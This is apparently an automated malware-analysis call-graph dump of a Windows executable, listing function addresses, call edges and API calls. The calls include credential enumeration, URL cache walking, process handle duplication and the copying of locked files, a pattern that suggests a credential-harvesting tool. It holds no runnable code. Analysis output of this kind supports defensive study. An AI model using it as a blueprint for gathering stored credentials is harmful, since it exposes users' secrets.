4033a9 memset memcpy 38251->38253 38254 4033ec wcscmp 38251->38254 38458 4028e7 11 API calls 38251->38458 38459 40f508 6 API calls 38251->38459 38252->38106 38253->38251 38253->38254 38254->38251 38257 403421 _wcsicmp 38257->38251 38259 444a64 FreeLibrary 38258->38259 38260 444a83 38258->38260 38259->38260 38260->38106 38261->38107 38263 445548 38262->38263 38264 445599 38263->38264 38461 40c768 38263->38461 38265 4455a8 memset 38264->38265 38272 4457f2 38264->38272 38544 403988 38265->38544 38275 445854 38272->38275 38646 403e2d memset memset memset memset memset 38272->38646 38273 4455e5 38284 445672 38273->38284 38289 44560f 38273->38289 38274 4458bb memset memset 38277 414c2e 17 API calls 38274->38277 38328 4458aa 38275->38328 38669 403c9c memset memset memset memset memset 38275->38669 38280 4458f9 38277->38280 38279 44595e memset memset 38287 414c2e 17 API calls 38279->38287 38288 40b2cc 27 API calls 38280->38288 38282 44558c 38528 444b06 38282->38528 38283 44557a 38283->38282 38742 4136c0 CoTaskMemFree 38283->38742 38555 403fbe memset memset memset memset memset 38284->38555 38285 445a00 memset memset 38692 414c2e 38285->38692 38286 445b22 38292 445bca 38286->38292 38293 445b38 memset memset memset 38286->38293 38297 44599c 38287->38297 38299 445909 38288->38299 38301 4087b3 338 API calls 38289->38301 38291 445849 38758 40b1ab free free 38291->38758 38300 445c8b memset memset 38292->38300 38366 445cf0 38292->38366 38304 445bd4 38293->38304 38305 445b98 38293->38305 38298 40b2cc 27 API calls 38297->38298 38312 4459ac 38298->38312 38309 409d1f 6 API calls 38299->38309 38313 414c2e 17 API calls 38300->38313 38310 445621 38301->38310 38302 44589f 38759 40b1ab free free 38302->38759 38303 445585 38743 41366b FreeLibrary 38303->38743 38319 414c2e 17 API calls 38304->38319 38305->38304 38315 445ba2 38305->38315 38308 403335 38457 4452e5 45 API calls 38308->38457 38323 445919 38309->38323 38744 4454bf 20 API calls 38310->38744 38311 445823 38311->38291 38333 4087b3 338 API calls 38311->38333 38324 409d1f 6 API calls 38312->38324 38325 445cc9 38313->38325 38831 4099c6 wcslen 38315->38831 38316 4456b2 38746 40b1ab free free 38316->38746 38318 40b2cc 27 API calls 38329 445a4f 38318->38329 38320 445be2 38319->38320 38331 40b2cc 27 API calls 38320->38331 38321 445d3d 38351 40b2cc 27 API calls 38321->38351 38322 445d88 memset memset memset 38334 414c2e 17 API calls 38322->38334 38760 409b98 GetFileAttributesW 38323->38760 38335 4459bc 38324->38335 38336 409d1f 6 API calls 38325->38336 38326 445879 38326->38302 38347 4087b3 338 API calls 38326->38347 38328->38274 38352 44594a 38328->38352 38708 409d1f wcslen wcslen 38329->38708 38341 445bf3 38331->38341 38333->38311 38344 445dde 38334->38344 38827 409b98 GetFileAttributesW 38335->38827 38346 445ce1 38336->38346 38337 445bb3 38834 445403 memset 38337->38834 38338 445680 38338->38316 38578 4087b3 memset 38338->38578 38350 409d1f 6 API calls 38341->38350 38342 445928 38342->38352 38761 40b6ef 38342->38761 38353 40b2cc 27 API calls 38344->38353 38851 409b98 GetFileAttributesW 38346->38851 38347->38326 38349 40b2cc 27 API calls 38358 445a94 38349->38358 38360 445c07 38350->38360 38361 445d54 _wcsicmp 38351->38361 38352->38279 38365 4459ed 38352->38365 38364 445def 38353->38364 38354 4459cb 38354->38365 38374 40b6ef 253 API calls 38354->38374 38713 40ae18 38358->38713 38359 44566d 38359->38272 38629 413d4c 38359->38629 38370 445389 259 API calls 38360->38370 38371 445d71 38361->38371 38434 445d67 38361->38434 38363 445665 38745 40b1ab free free 38363->38745 38372 409d1f 6 API calls 38364->38372 38365->38285 38365->38286 38366->38308 38366->38321 38366->38322 38367 445389 259 API calls 38367->38292 38376 445c17 38370->38376 38852 445093 23 API calls 38371->38852 38379 445e03 38372->38379 38374->38365 38375 4456d8 38381 40b2cc 27 API calls 38375->38381 38382 40b2cc 27 API calls 38376->38382 38378 44563c 38378->38363 38384 4087b3 338 API calls 38378->38384 38853 409b98 GetFileAttributesW 38379->38853 38380 40b6ef 253 API calls 38380->38308 38386 4456e2 38381->38386 38387 445c23 38382->38387 38383 445d83 38383->38308 38384->38378 38747 413fa6 _wcsicmp _wcsicmp 38386->38747 38391 409d1f 6 API calls 38387->38391 38389 445e12 38396 445e6b 38389->38396 38403 40b2cc 27 API calls 38389->38403 38394 445c37 38391->38394 38392 445aa1 38395 445b17 38392->38395 38410 445ab2 memset 38392->38410 38423 409d1f 6 API calls 38392->38423 38720 40add4 38392->38720 38725 445389 38392->38725 38734 40ae51 38392->38734 38393 4456eb 38399 4456fd memset memset memset memset 38393->38399 38400 4457ea 38393->38400 38401 445389 259 API calls 38394->38401 38828 40aebe 38395->38828 38855 445093 23 API calls 38396->38855 38748 409c70 wcscpy wcsrchr 38399->38748 38751 413d29 38400->38751 38406 445c47 38401->38406 38407 445e33 38403->38407 38404 445e7e 38409 445f67 38404->38409 38412 40b2cc 27 API calls 38406->38412 38413 409d1f 6 API calls 38407->38413 38418 40b2cc 27 API calls 38409->38418 38414 40b2cc 27 API calls 38410->38414 38416 445c53 38412->38416 38417 445e47 38413->38417 38414->38392 38415 409c70 2 API calls 38419 44577e 38415->38419 38420 409d1f 6 API calls 38416->38420 38854 409b98 GetFileAttributesW 38417->38854 38422 445f73 38418->38422 38424 409c70 2 API calls 38419->38424 38425 445c67 38420->38425 38427 409d1f 6 API calls 38422->38427 38423->38392 38428 44578d 38424->38428 38429 445389 259 API calls 38425->38429 38426 445e56 38426->38396 38432 445e83 memset 38426->38432 38430 445f87 38427->38430 38428->38400 38436 40b2cc 27 API calls 38428->38436 38429->38292 38858 409b98 GetFileAttributesW 38430->38858 38435 40b2cc 27 API calls 38432->38435 38434->38308 38434->38380 38437 445eab 38435->38437 38438 4457a8 38436->38438 38439 409d1f 6 API calls 38437->38439 38440 409d1f 6 API calls 38438->38440 38441 445ebf 38439->38441 38442 4457b8 38440->38442 38443 40ae18 9 API calls 38441->38443 38750 409b98 GetFileAttributesW 38442->38750 38453 445ef5 38443->38453 38445 4457c7 38445->38400 38447 4087b3 338 API calls 38445->38447 38446 40ae51 9 API calls 38446->38453 38447->38400 38448 445f5c 38450 40aebe FindClose 38448->38450 38449 40add4 2 API calls 38449->38453 38450->38409 38451 40b2cc 27 API calls 38451->38453 38452 409d1f 6 API calls 38452->38453 38453->38446 38453->38448 38453->38449 38453->38451 38453->38452 38455 445f3a 38453->38455 38856 409b98 GetFileAttributesW 38453->38856 38857 445093 23 API calls 38455->38857 38457->38251 38458->38257 38459->38251 38460->38249 38462 40c775 38461->38462 38859 40b1ab free free 38462->38859 38464 40c788 38860 40b1ab free free 38464->38860 38466 40c790 38861 40b1ab free free 38466->38861 38468 40c798 38469 40aa04 free 38468->38469 38470 40c7a0 38469->38470 38862 40c274 memset 38470->38862 38475 40a8ab 9 API calls 38476 40c7c3 38475->38476 38477 40a8ab 9 API calls 38476->38477 38478 40c7d0 38477->38478 38891 40c3c3 38478->38891 38482 40c877 38491 40bdb0 38482->38491 38483 40c86c 38933 4053fe 39 API calls 38483->38933 38489 40c7e5 38489->38482 38489->38483 38490 40c634 50 API calls 38489->38490 38916 40a706 38489->38916 38490->38489 39196 404363 38491->39196 38494 40bf5d 39216 40440c 38494->39216 38495 40bdee 38495->38494 38499 40b2cc 27 API calls 38495->38499 38496 40bddf CredEnumerateW 38496->38495 38500 40be02 wcslen 38499->38500 38500->38494 38505 40be1e 38500->38505 38501 40be26 wcsncmp 38501->38505 38504 40be7d memset 38504->38505 38506 40bea7 memcpy 38504->38506 38505->38494 38505->38501 38505->38504 38505->38506 38507 40bf11 wcschr 38505->38507 38508 40b2cc 27 API calls 38505->38508 38510 40bf43 LocalFree 38505->38510 39219 40bd5d 28 API calls 38505->39219 39220 404423 38505->39220 38506->38505 38506->38507 38507->38505 38509 40bef6 _wcsnicmp 38508->38509 38509->38505 38509->38507 38510->38505 38511 4135f7 39235 4135e0 38511->39235 38514 40b2cc 27 API calls 38515 41360d 38514->38515 38516 40a804 8 API calls 38515->38516 38517 413613 38516->38517 38518 41361b 38517->38518 38519 41363e 38517->38519 38520 40b273 27 API calls 38518->38520 38521 4135e0 FreeLibrary 38519->38521 38522 413625 GetProcAddress 38520->38522 38523 413643 38521->38523 38522->38519 38524 413648 38522->38524 38523->38283 38525 413658 38524->38525 38526 4135e0 FreeLibrary 38524->38526 38525->38283 38527 413666 38526->38527 38527->38283 39238 4449b9 38528->39238 38531 444c1f 38531->38264 38532 4449b9 42 API calls 38534 444b4b 38532->38534 38533 444c15 38536 4449b9 42 API calls 38533->38536 38534->38533 39259 444972 GetVersionExW 38534->39259 38536->38531 38537 444b99 memcmp 38542 444b8c 38537->38542 38538 444c0b 39263 444a85 42 API calls 38538->39263 38542->38537 38542->38538 39260 444aa5 42 API calls 38542->39260 39261 40a7a0 GetVersionExW 38542->39261 39262 444a85 42 API calls 38542->39262 38545 40399d 38544->38545 39264 403a16 38545->39264 38547 403a09 39278 40b1ab free free 38547->39278 38549 403a12 wcsrchr 38549->38273 38550 4039a3 38550->38547 38553 4039f4 38550->38553 39275 40a02c CreateFileW 38550->39275 38553->38547 38554 4099c6 2 API calls 38553->38554 38554->38547 38556 414c2e 17 API calls 38555->38556 38557 404048 38556->38557 38558 414c2e 17 API calls 38557->38558 38559 404056 38558->38559 38560 409d1f 6 API calls 38559->38560 38561 404073 38560->38561 38562 409d1f 6 API calls 38561->38562 38563 40408e 38562->38563 38564 409d1f 6 API calls 38563->38564 38565 4040a6 38564->38565 38566 403af5 20 API calls 38565->38566 38567 4040ba 38566->38567 38568 403af5 20 API calls 38567->38568 38569 4040cb 38568->38569 39305 40414f memset 38569->39305 38571 404140 39319 40b1ab free free 38571->39319 38572 4040ec memset 38576 4040e0 38572->38576 38574 404148 38574->38338 38575 4099c6 2 API calls 38575->38576 38576->38571 38576->38572 38576->38575 38577 40a8ab 9 API calls 38576->38577 38577->38576 39332 40a6e6 WideCharToMultiByte 38578->39332 38580 4087ed 39333 4095d9 memset 38580->39333 38583 408809 memset memset memset memset memset 38584 40b2cc 27 API calls 38583->38584 38585 4088a1 38584->38585 38586 409d1f 6 API calls 38585->38586 38587 4088b1 38586->38587 38588 40b2cc 27 API calls 38587->38588 38589 4088c0 38588->38589 38590 409d1f 6 API calls 38589->38590 38591 4088d0 38590->38591 38592 40b2cc 27 API calls 38591->38592 38593 4088df 38592->38593 38594 409d1f 6 API calls 38593->38594 38595 4088ef 38594->38595 38596 40b2cc 27 API calls 38595->38596 38597 4088fe 38596->38597 38598 409d1f 6 API calls 38597->38598 38599 40890e 38598->38599 38600 40b2cc 27 API calls 38599->38600 38601 40891d 38600->38601 38602 409d1f 6 API calls 38601->38602 38603 40892d 38602->38603 38610 408953 38610->38338 38630 40b633 free 38629->38630 38631 413d65 CreateToolhelp32Snapshot memset Process32FirstW 38630->38631 38632 413f00 Process32NextW 38631->38632 38633 413da5 OpenProcess 38632->38633 38634 413f17 CloseHandle 38632->38634 38635 413eb0 38633->38635 38636 413df3 memset 38633->38636 38634->38375 38635->38632 38638 413ebf free 38635->38638 38639 4099f4 3 API calls 38635->38639 39773 413f27 38636->39773 38638->38635 38639->38635 38640 413e1f 38641 413e37 GetModuleHandleW 38640->38641 39778 413959 38640->39778 39794 413ca4 38640->39794 38641->38640 38643 413e46 GetProcAddress 38641->38643 38643->38640 38645 413ea2 CloseHandle 38645->38635 38647 414c2e 17 API calls 38646->38647 38648 403eb7 38647->38648 38649 414c2e 17 API calls 38648->38649 38650 403ec5 38649->38650 38651 409d1f 6 API calls 38650->38651 38652 403ee2 38651->38652 38653 409d1f 6 API calls 38652->38653 38654 403efd 38653->38654 38655 409d1f 6 API calls 38654->38655 38656 403f15 38655->38656 38657 403af5 20 API calls 38656->38657 38658 403f29 38657->38658 38659 403af5 20 API calls 38658->38659 38660 403f3a 38659->38660 38661 40414f 33 API calls 38660->38661 38667 403f4f 38661->38667 38662 403faf 39808 40b1ab free free 38662->39808 38664 403f5b memset 38664->38667 38665 403fb7 38665->38311 38666 4099c6 2 API calls 38666->38667 38667->38662 38667->38664 38667->38666 38668 40a8ab 9 API calls 38667->38668 38668->38667 38670 414c2e 17 API calls 38669->38670 38671 403d26 38670->38671 38672 414c2e 17 API calls 38671->38672 38673 403d34 38672->38673 38674 409d1f 6 API calls 38673->38674 38675 403d51 38674->38675 38676 409d1f 6 API calls 38675->38676 38677 403d6c 38676->38677 38678 409d1f 6 API calls 38677->38678 38679 403d84 38678->38679 38680 403af5 20 API calls 38679->38680 38681 403d98 38680->38681 38682 403af5 20 API calls 38681->38682 38683 403da9 38682->38683 38684 40414f 33 API calls 38683->38684 38685 403dbe 38684->38685 38686 403e1e 38685->38686 38688 403dca memset 38685->38688 38690 4099c6 2 API calls 38685->38690 38691 40a8ab 9 API calls 38685->38691 39809 40b1ab free free 38686->39809 38688->38685 38689 403e26 38689->38326 38690->38685 38691->38685 38693 414b81 9 API calls 38692->38693 38694 414c40 38693->38694 38695 414c73 memset 38694->38695 39810 409cea 38694->39810 38697 414c94 38695->38697 39813 414592 RegOpenKeyExW 38697->39813 38700 414c64 SHGetSpecialFolderPathW 38702 414d0b 38700->38702 38701 414cc1 38703 414cf4 wcscpy 38701->38703 39814 414bb0 wcscpy 38701->39814 38702->38318 38703->38702 38705 414cd2 39815 4145ac RegQueryValueExW 38705->39815 38707 414ce9 RegCloseKey 38707->38703 38709 409d62 38708->38709 38710 409d43 wcscpy 38708->38710 38709->38349 38711 409719 2 API calls 38710->38711 38712 409d51 wcscat 38711->38712 38712->38709 38714 40aebe FindClose 38713->38714 38715 40ae21 38714->38715 38716 4099c6 2 API calls 38715->38716 38717 40ae35 38716->38717 38718 409d1f 6 API calls 38717->38718 38719 40ae49 38718->38719 38719->38392 38721 40ade0 38720->38721 38724 40ae0f 38720->38724 38722 40ade7 wcscmp 38721->38722 38721->38724 38723 40adfe wcscmp 38722->38723 38722->38724 38723->38724 38724->38392 38726 40ae18 9 API calls 38725->38726 38727 4453c4 38726->38727 38728 40ae51 9 API calls 38727->38728 38729 4453f3 38727->38729 38730 40add4 2 API calls 38727->38730 38733 445403 254 API calls 38727->38733 38728->38727 38731 40aebe FindClose 38729->38731 38730->38727 38732 4453fe 38731->38732 38732->38392 38733->38727 38735 40ae7b FindNextFileW 38734->38735 38736 40ae5c FindFirstFileW 38734->38736 38737 40ae94 38735->38737 38738 40ae8f 38735->38738 38736->38737 38740 40aeb6 38737->38740 38741 409d1f 6 API calls 38737->38741 38739 40aebe FindClose 38738->38739 38739->38737 38740->38392 38741->38740 38742->38303 38743->38282 38744->38378 38745->38359 38746->38359 38747->38393 38749 409c89 38748->38749 38749->38415 38750->38445 38752 413d39 38751->38752 38753 413d2f FreeLibrary 38751->38753 38754 40b633 free 38752->38754 38753->38752 38755 413d42 38754->38755 38756 40b633 free 38755->38756 38757 413d4a 38756->38757 38757->38272 38758->38275 38759->38328 38760->38342 38762 44db70 38761->38762 38763 40b6fc memset 38762->38763 38764 409c70 2 API calls 38763->38764 38765 40b732 wcsrchr 38764->38765 38766 40b743 38765->38766 38767 40b746 memset 38765->38767 38766->38767 38768 40b2cc 27 API calls 38767->38768 38769 40b76f 38768->38769 38770 409d1f 6 API calls 38769->38770 38771 40b783 38770->38771 39816 409b98 GetFileAttributesW 38771->39816 38773 40b792 38774 40b7c2 38773->38774 38775 409c70 2 API calls 38773->38775 39817 40bb98 38774->39817 38777 40b7a5 38775->38777 38779 40b2cc 27 API calls 38777->38779 38783 40b7b2 38779->38783 38780 40b837 CloseHandle 38782 40b83e memset 38780->38782 38781 40b817 38784 409a45 3 API calls 38781->38784 39850 40a6e6 WideCharToMultiByte 38782->39850 38786 409d1f 6 API calls 38783->38786 38787 40b827 CopyFileW 38784->38787 38786->38774 38787->38782 38788 40b866 38789 444432 121 API calls 38788->38789 38790 40b879 38789->38790 38791 40bad5 38790->38791 38792 40b273 27 API calls 38790->38792 38793 40baeb 38791->38793 38794 40bade DeleteFileW 38791->38794 38795 40b89a 38792->38795 38796 40b04b ??3@YAXPAX 38793->38796 38794->38793 38797 438552 134 API calls 38795->38797 38798 40baf3 38796->38798 38799 40b8a4 38797->38799 38798->38352 38800 40bacd 38799->38800 38802 4251c4 137 API calls 38799->38802 38801 443d90 111 API calls 38800->38801 38801->38791 38825 40b8b8 38802->38825 38803 40bac6 39860 424f26 123 API calls 38803->39860 38804 40b8bd memset 39851 425413 17 API calls 38804->39851 38807 425413 17 API calls 38807->38825 38810 40a71b MultiByteToWideChar 38810->38825 38811 40a734 MultiByteToWideChar 38811->38825 38814 40b9b5 memcmp 38814->38825 38815 4099c6 2 API calls 38815->38825 38816 404423 38 API calls 38816->38825 38819 40bb3e memset memcpy 39861 40a734 MultiByteToWideChar 38819->39861 38820 4251c4 137 API calls 38820->38825 38822 40bb88 LocalFree 38822->38825 38825->38803 38825->38804 38825->38807 38825->38810 38825->38811 38825->38814 38825->38815 38825->38816 38825->38819 38825->38820 38826 40ba5f memcmp 38825->38826 39852 4253ef 16 API calls 38825->39852 39853 40b64c SystemTimeToFileTime FileTimeToLocalFileTime 38825->39853 39854 4253af 17 API calls 38825->39854 39855 4253cf 17 API calls 38825->39855 39856 447280 memset 38825->39856 39857 447960 memset memcpy memcpy memcpy 38825->39857 39858 40afe8 ??2@YAPAXI memcpy ??3@YAXPAX 38825->39858 39859 447920 memcpy memcpy memcpy 38825->39859 38826->38825 38827->38354 38829 40aed1 38828->38829 38830 40aec7 FindClose 38828->38830 38829->38286 38830->38829 38832 4099d7 38831->38832 38833 4099da memcpy 38831->38833 38832->38833 38833->38337 38835 40b2cc 27 API calls 38834->38835 38836 44543f 38835->38836 38837 409d1f 6 API calls 38836->38837 38838 44544f 38837->38838 39945 409b98 GetFileAttributesW 38838->39945 38840 44545e 38841 445476 38840->38841 38842 40b6ef 253 API calls 38840->38842 38843 40b2cc 27 API calls 38841->38843 38842->38841 38844 445482 38843->38844 38845 409d1f 6 API calls 38844->38845 38846 445492 38845->38846 39946 409b98 GetFileAttributesW 38846->39946 38848 4454a1 38849 4454b9 38848->38849 38850 40b6ef 253 API calls 38848->38850 38849->38367 38850->38849 38851->38366 38852->38383 38853->38389 38854->38426 38855->38404 38856->38453 38857->38453 38858->38434 38859->38464 38860->38466 38861->38468 38863 414c2e 17 API calls 38862->38863 38864 40c2ae 38863->38864 38934 40c1d3 38864->38934 38869 40c3be 38886 40a8ab 38869->38886 38870 40afcf 2 API calls 38871 40c2fd FindFirstUrlCacheEntryW 38870->38871 38872 40c3b6 38871->38872 38873 40c31e wcschr 38871->38873 38874 40b04b ??3@YAXPAX 38872->38874 38875 40c331 38873->38875 38876 40c35e FindNextUrlCacheEntryW 38873->38876 38874->38869 38878 40a8ab 9 API calls 38875->38878 38876->38873 38877 40c373 GetLastError 38876->38877 38879 40c3ad FindCloseUrlCache 38877->38879 38880 40c37e 38877->38880 38881 40c33e wcschr 38878->38881 38879->38872 38882 40afcf 2 API calls 38880->38882 38881->38876 38883 40c34f 38881->38883 38884 40c391 FindNextUrlCacheEntryW 38882->38884 38885 40a8ab 9 API calls 38883->38885 38884->38873 38884->38879 38885->38876 39123 40a97a 38886->39123 38889 40a8cc 38889->38475 38890 40a8d0 7 API calls 38890->38889 39128 40b1ab free free 38891->39128 38893 40c3dd 38894 40b2cc 27 API calls 38893->38894 38895 40c3e7 38894->38895 39129 414592 RegOpenKeyExW 38895->39129 38897 40c3f4 38898 40c50e 38897->38898 38899 40c3ff 38897->38899 38913 405337 38898->38913 38900 40a9ce 4 API calls 38899->38900 38901 40c418 memset 38900->38901 39130 40aa1d 38901->39130 38904 40c471 38906 40c47a _wcsupr 38904->38906 38905 40c505 RegCloseKey 38905->38898 38907 40a8d0 7 API calls 38906->38907 38908 40c498 38907->38908 38909 40a8d0 7 API calls 38908->38909 38910 40c4ac memset 38909->38910 38911 40aa1d 38910->38911 38912 40c4e4 RegEnumValueW 38911->38912 38912->38905 38912->38906 39132 405220 38913->39132 38917 4099c6 2 API calls 38916->38917 38918 40a714 _wcslwr 38917->38918 38919 40c634 38918->38919 39189 405361 38919->39189 38922 40c65c wcslen 39192 4053b6 39 API calls 38922->39192 38923 40c71d wcslen 38923->38489 38925 40c677 38926 40c713 38925->38926 39193 40538b 39 API calls 38925->39193 39195 4053df 39 API calls 38926->39195 38929 40c6a5 38929->38926 38930 40c6a9 memset 38929->38930 38931 40c6d3 38930->38931 39194 40c589 44 API calls 38931->39194 38933->38482 38935 40ae18 9 API calls 38934->38935 38941 40c210 38935->38941 38936 40ae51 9 API calls 38936->38941 38937 40c264 38938 40aebe FindClose 38937->38938 38940 40c26f 38938->38940 38939 40add4 2 API calls 38939->38941 38946 40e5ed memset memset 38940->38946 38941->38936 38941->38937 38941->38939 38942 40c231 _wcsicmp 38941->38942 38943 40c1d3 35 API calls 38941->38943 38942->38941 38944 40c248 38942->38944 38943->38941 38959 40c084 22 API calls 38944->38959 38947 414c2e 17 API calls 38946->38947 38948 40e63f 38947->38948 38949 409d1f 6 API calls 38948->38949 38950 40e658 38949->38950 38960 409b98 GetFileAttributesW 38950->38960 38952 40e667 38953 40e680 38952->38953 38954 409d1f 6 API calls 38952->38954 38961 409b98 GetFileAttributesW 38953->38961 38954->38953 38956 40e68f 38957 40c2d8 38956->38957 38962 40e4b2 38956->38962 38957->38869 38957->38870 38959->38941 38960->38952 38961->38956 38983 40e01e 38962->38983 38964 40e593 38965 40e5b0 38964->38965 38966 40e59c DeleteFileW 38964->38966 38967 40b04b ??3@YAXPAX 38965->38967 38966->38965 38969 40e5bb 38967->38969 38968 40e521 38968->38964 39006 40e175 38968->39006 38971 40e5c4 CloseHandle 38969->38971 38972 40e5cc 38969->38972 38971->38972 38974 40b633 free 38972->38974 38973 40e573 38975 40e584 38973->38975 38976 40e57c CloseHandle 38973->38976 38977 40e5db 38974->38977 39049 40b1ab free free 38975->39049 38976->38975 38980 40b633 free 38977->38980 38979 40e540 38979->38973 39026 40e2ab 38979->39026 38981 40e5e3 38980->38981 38981->38957 39050 406214 38983->39050 38986 40e16b 38986->38968 38989 40afcf 2 API calls 38990 40e08d OpenProcess 38989->38990 38991 40e0a4 GetCurrentProcess DuplicateHandle 38990->38991 38995 40e152 38990->38995 38992 40e0d0 GetFileSize 38991->38992 38993 40e14a CloseHandle 38991->38993 39086 409a45 GetTempPathW 38992->39086 38993->38995 38994 40e160 38998 40b04b ??3@YAXPAX 38994->38998 38995->38994 38997 406214 22 API calls 38995->38997 38997->38994 38998->38986 38999 40e0ea 39089 4096dc CreateFileW 38999->39089 39001 40e0f1 CreateFileMappingW 39002 40e140 CloseHandle CloseHandle 39001->39002 39003 40e10b MapViewOfFile 39001->39003 39002->38993 39004 40e13b CloseHandle 39003->39004 39005 40e11f WriteFile UnmapViewOfFile 39003->39005 39004->39002 39005->39004 39007 40e18c 39006->39007 39090 406b90 39007->39090 39010 40e1a7 memset 39016 40e1e8 39010->39016 39011 40e299 39100 4069a3 39011->39100 39017 40e283 39016->39017 39018 40dd50 _wcsicmp 39016->39018 39024 40e244 _snwprintf 39016->39024 39107 406e8f 13 API calls 39016->39107 39108 40742e 8 API calls 39016->39108 39109 40aae3 wcslen wcslen _memicmp 39016->39109 39110 406b53 SetFilePointerEx ReadFile 39016->39110 39019 40e291 39017->39019 39020 40e288 free 39017->39020 39018->39016 39021 40aa04 free 39019->39021 39020->39019 39021->39011 39025 40a8d0 7 API calls 39024->39025 39025->39016 39027 40e2c2 39026->39027 39028 406b90 11 API calls 39027->39028 39034 40e2d3 39028->39034 39029 40e4a0 39030 4069a3 2 API calls 39029->39030 39032 40e4ab 39030->39032 39032->38979 39034->39029 39035 40e489 39034->39035 39038 40dd50 _wcsicmp 39034->39038 39044 40e3e0 memcpy 39034->39044 39045 40e3fb memcpy 39034->39045 39046 40e3b3 wcschr 39034->39046 39047 40e416 memcpy 39034->39047 39048 40e431 memcpy 39034->39048 39111 406e8f 13 API calls 39034->39111 39112 40dd50 _wcsicmp 39034->39112 39121 40742e 8 API calls 39034->39121 39122 406b53 SetFilePointerEx ReadFile 39034->39122 39036 40aa04 free 39035->39036 39037 40e491 39036->39037 39037->39029 39039 40e497 free 39037->39039 39038->39034 39039->39029 39041 40e376 memset 39113 40aa29 39041->39113 39044->39034 39045->39034 39046->39034 39047->39034 39048->39034 39049->38964 39051 406294 CloseHandle 39050->39051 39052 406224 39051->39052 39053 4096c3 CreateFileW 39052->39053 39054 40622d 39053->39054 39055 406281 GetLastError 39054->39055 39057 40a2ef ReadFile 39054->39057 39056 40625a 39055->39056 39056->38986 39061 40dd85 memset 39056->39061 39058 406244 39057->39058 39058->39055 39059 40624b 39058->39059 39059->39056 39060 406777 19 API calls 39059->39060 39060->39056 39062 409bca GetModuleFileNameW 39061->39062 39063 40ddbe CreateFileW 39062->39063 39066 40ddf1 39063->39066 39064 40afcf ??2@YAPAXI ??3@YAXPAX 39064->39066 39065 41352f 9 API calls 39065->39066 39066->39064 39066->39065 39067 40de0b NtQuerySystemInformation 39066->39067 39068 40de3b CloseHandle GetCurrentProcessId 39066->39068 39067->39066 39069 40de54 39068->39069 39070 413d4c 46 API calls 39069->39070 39078 40de88 39070->39078 39071 40e00c 39072 413d29 free FreeLibrary 39071->39072 39073 40e014 39072->39073 39073->38986 39073->38989 39074 40dea9 _wcsicmp 39075 40dee7 OpenProcess 39074->39075 39076 40debd _wcsicmp 39074->39076 39075->39078 39076->39075 39077 40ded0 _wcsicmp 39076->39077 39077->39075 39077->39078 39078->39071 39078->39074 39079 40dfef CloseHandle 39078->39079 39080 40df23 GetCurrentProcess DuplicateHandle 39078->39080 39083 40df8f CloseHandle 39078->39083 39084 40df78 39078->39084 39079->39078 39080->39078 39081 40df4c memset 39080->39081 39082 41352f 9 API calls 39081->39082 39082->39078 39083->39084 39084->39079 39084->39083 39085 40dfae _wcsicmp 39084->39085 39085->39078 39085->39084 39087 409a74 GetTempFileNameW 39086->39087 39088 409a66 GetWindowsDirectoryW 39086->39088 39087->38999 39088->39087 39089->39001 39091 406bd5 39090->39091 39092 406bad 39090->39092 39094 4066bf free malloc memcpy free free 39091->39094 39099 406c0f 39091->39099 39092->39091 39093 406bba _wcsicmp 39092->39093 39093->39091 39093->39092 39095 406be5 39094->39095 39096 40afcf ??2@YAPAXI ??3@YAXPAX 39095->39096 39095->39099 39097 406bff 39096->39097 39098 4068bf SetFilePointerEx memcpy ReadFile ??2@YAPAXI ??3@YAXPAX 39097->39098 39098->39099 39099->39010 39099->39011 39101 4069c4 ??3@YAXPAX 39100->39101 39102 4069af 39101->39102 39103 40b633 free 39102->39103 39104 4069ba 39103->39104 39105 40b04b ??3@YAXPAX 39104->39105 39106 4069c2 39105->39106 39106->38979 39107->39016 39108->39016 39109->39016 39110->39016 39111->39034 39112->39041 39114 40aa33 39113->39114 39115 40aa63 39113->39115 39116 40aa44 39114->39116 39117 40aa38 wcslen 39114->39117 39115->39034 39118 40a9ce malloc memcpy free free 39116->39118 39117->39116 39119 40aa4d 39118->39119 39119->39115 39120 40aa51 memcpy 39119->39120 39120->39115 39121->39034 39122->39034 39124 40a980 39123->39124 39125 40a8bb 39124->39125 39126 40a995 _wcsicmp 39124->39126 39127 40a99c wcscmp 39124->39127 39125->38889 39125->38890 39126->39124 39127->39124 39128->38893 39129->38897 39131 40aa23 RegEnumValueW 39130->39131 39131->38904 39131->38905 39133 405335 39132->39133 39134 40522a 39132->39134 39133->38489 39135 40b2cc 27 API calls 39134->39135 39136 405234 39135->39136 39137 40a804 8 API calls 39136->39137 39138 40523a 39137->39138 39177 40b273 39138->39177 39140 405248 _mbscpy _mbscat GetProcAddress 39141 40b273 27 API calls 39140->39141 39142 405279 39141->39142 39180 405211 GetProcAddress 39142->39180 39144 405282 39145 40b273 27 API calls 39144->39145 39146 40528f 39145->39146 39181 405211 GetProcAddress 39146->39181 39148 405298 39149 40b273 27 API calls 39148->39149 39150 4052a5 39149->39150 39182 405211 GetProcAddress 39150->39182 39152 4052ae 39153 40b273 27 API calls 39152->39153 39154 4052bb 39153->39154 39183 405211 GetProcAddress 39154->39183 39156 4052c4 39157 40b273 27 API calls 39156->39157 39158 4052d1 39157->39158 39184 405211 GetProcAddress 39158->39184 39160 4052da 39161 40b273 27 API calls 39160->39161 39162 4052e7 39161->39162 39185 405211 GetProcAddress 39162->39185 39164 4052f0 39165 40b273 27 API calls 39164->39165 39166 4052fd 39165->39166 39186 405211 GetProcAddress 39166->39186 39168 405306 39169 40b273 27 API calls 39168->39169 39170 405313 39169->39170 39187 405211 GetProcAddress 39170->39187 39172 40531c 39173 40b273 27 API calls 39172->39173 39174 405329 39173->39174 39178 40b58d 27 API calls 39177->39178 39179 40b18c 39178->39179 39179->39140 39180->39144 39181->39148 39182->39152 39183->39156 39184->39160 39185->39164 39186->39168 39187->39172 39190 405220 39 API calls 39189->39190 39191 405369 39190->39191 39191->38922 39191->38923 39192->38925 39193->38929 39194->38926 39195->38923 39197 40440c FreeLibrary 39196->39197 39198 40436d 39197->39198 39199 40a804 8 API calls 39198->39199 39200 404377 39199->39200 39201 404383 39200->39201 39202 404405 39200->39202 39203 40b273 27 API calls 39201->39203 39202->38494 39202->38495 39202->38496 39204 40438d GetProcAddress 39203->39204 39205 40b273 27 API calls 39204->39205 39206 4043a7 GetProcAddress 39205->39206 39207 40b273 27 API calls 39206->39207 39208 4043ba GetProcAddress 39207->39208 39209 40b273 27 API calls 39208->39209 39210 4043ce GetProcAddress 39209->39210 39211 40b273 27 API calls 39210->39211 39212 4043e2 GetProcAddress 39211->39212 39213 4043f1 39212->39213 39214 4043f7 39213->39214 39215 40440c FreeLibrary 39213->39215 39214->39202 39215->39202 39217 404413 FreeLibrary 39216->39217 39218 40441e 